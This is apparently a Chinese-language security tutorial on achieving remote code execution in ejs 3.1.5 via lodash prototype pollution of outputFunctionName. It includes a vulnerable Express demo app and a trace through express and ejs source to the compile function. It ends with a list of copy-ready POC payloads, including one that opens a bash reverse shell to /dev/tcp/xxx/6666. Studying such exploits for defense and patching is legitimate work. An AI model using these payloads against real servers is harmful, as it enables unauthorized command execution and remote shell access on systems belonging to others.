0%

ejs模板引擎实现RCE

ejs 模板引擎实现 RCE

需要ejs的版本为3.1.5,高版本的ejs直接把outputFunctionName属性值给删除了

首先探测一下该漏洞是否存在

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
res.render ("index.ejs",{
message: 'whoami test'
});
});

//设置http
var server = app.listen(8000, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

index.ejs

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

访问127.0.0.1:8000

img

至于为啥要污染outputFunctionName属性,我们来看看源码

我们从 index.js::res.render 处开始,跟进 render 方法:

  • node_modules/express/lib/response.js

img

跟进到 app.render 方法:

  • node_modules/express/lib/application.js

img

发现最终会进入到 app.render 方法里的 tryRender 函数,跟进到 tryRender:

  • node_modules/express/lib/application.js

img

调用了 view.render 方法,继续跟进 view.render

  • node_modules/express/lib/view.js

img

至此调用了 engine,也就是说从这里进入到了模板渲染引擎 ejs.js 中。跟进 ejs.js 中的 renderFile 方法:

  • node_modules/ejs/ejs.js

img

发现 renderFile 中又调用了 tryHandleCache 方法,跟进 tryHandleCache:

  • node_modules/ejs/ejs.js

img

进入到 handleCache 方法,跟进 handleCache:

  • node_modules/ejs/ejs.js

img

在 handleCache 中找到了渲染模板的 compile 方法,跟进 compile:

img

发现在 compile 中存在大量的渲染拼接。这里将 opts.outputFunctionName 拼接到 prepended 中,prepended 在最后会被传递给 this.source 并被带入函数执行。所以如果我们能够污染 opts.outputFunctionName,就能将我们构造的 payload 拼接进 js 语句中,并在 ejs 渲染时进行 RCE。在 ejs 中还有一个 render 方法,其最终也是进入了 compile。最后给出几个 ejs 模板引擎 RCE 常用的 POC:

1
2
3
4
5
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync(\'calc\');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec(\'bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"\');var __tmp2"}}